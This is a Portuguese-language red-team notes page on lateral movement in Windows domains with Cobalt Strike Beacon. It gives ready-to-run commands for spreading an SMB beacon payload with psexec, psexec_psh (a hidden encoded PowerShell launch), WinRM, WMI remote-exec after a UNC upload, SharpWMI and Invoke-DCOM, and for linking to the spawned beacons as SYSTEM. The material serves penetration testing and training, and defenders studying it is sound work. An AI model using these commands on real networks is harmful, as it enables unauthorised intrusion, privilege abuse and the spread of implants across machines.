Movimentação Lateral

A sintáxe do jump é jump <method> <alvo> <listner>. Vendo a lista de métodos de Jump

jump

Vendo a lista de métodos de remote-exec

remote-exec

Enumerando configurações de computares na rede

execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> OSInfo -ComputerName=<hostname>

Realizando a Movimentação Lateral

O SMB Beacon é uma excelente escolha quando se move lateralmente, porque o protocolo SMB é amplamente utilizado em um ambiente Windows, então esse tráfego combina muito bem.

PSExec

Tanto o psexec quanto psexec64, funcionam carregando um binário de serviço no sistema de destino e, em seguida, criando e iniciando um serviço do Windows para executar esse binário. Beacons executados desta forma são executados como SYSTEM.

jump psexec64 <host.domain.local> smb

psexec_psh

Dessa forma, não irá copiar um binário para a máquina de destino, mas em vez disso executa uma linha única do PowerShell (sempre de 32 bits). O padrão usado por padrão é %COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand .... Beacons executados desta forma também são executados como SYSTEM.

jump psexec_psh <host> smb

WinRM

Utiliza o WinRM para acesso

jump winrm64 <host.domain.local> smb

WMI (Windows Management Instrumentation)

o WMI não faz parte do comando jump, mas sim do comando remote-exec. O método remote-exec usa a process call create do WMI para executar qualquer comando que especificarmos no destino. O meio mais direto de usar isso é fazer upload de do payload para o sistema de destino e usar o WMI para executá-la. Podemos fazer upload através do caminho UNC e após isso, executando-o.

# Enviando arquivo
cd \\<host.domain.local>\<directory$>
upload <C:\path\to\smb_x64.exe>

# Executando remotamente
remote-exec wmi <host.domain.local> <C:\path\to\remote\smb_x64.exe>

Após executar, vamos nos conectar. Quando um binário é executado via WMI dessa forma, ele será filho de WmiPrvSE.exe. Altere o valor do PIPE para um que exista na máquina alvo.

link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>

É comum recebermos o erro abaixo, pois isso só pode ser chamado uma vez por processo.

CoInitializeSecurity already called. Thread token (if there is one) may not get used

Para contornamos essa situação, podemos utilizar o seguinte comando:

execute-assembly <C:\path\to\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe> action=exec computername=<host.domain.local> command="<C:\path\to\remote\smb_x64.exe>"

DCOM (Distributed Component Object Model)

O Beacon não possui recursos integrados para interagir por meio do Distributed Component Object Model (DCOM), portanto, devemos usar uma ferramenta externa como o Invoke-DCOM. Altere o valor do PIPE para um que exista na máquina alvo.

powershell-import <C:\path\to\Invoke-DCOM.ps1>
powershell Invoke-DCOM -ComputerName <host.domain.local> -Method MMC20.Application -Command <C:\path\to\remote\smb_x64.exe>
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>

Sites

# Invoke-DCOM
https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1

Last updated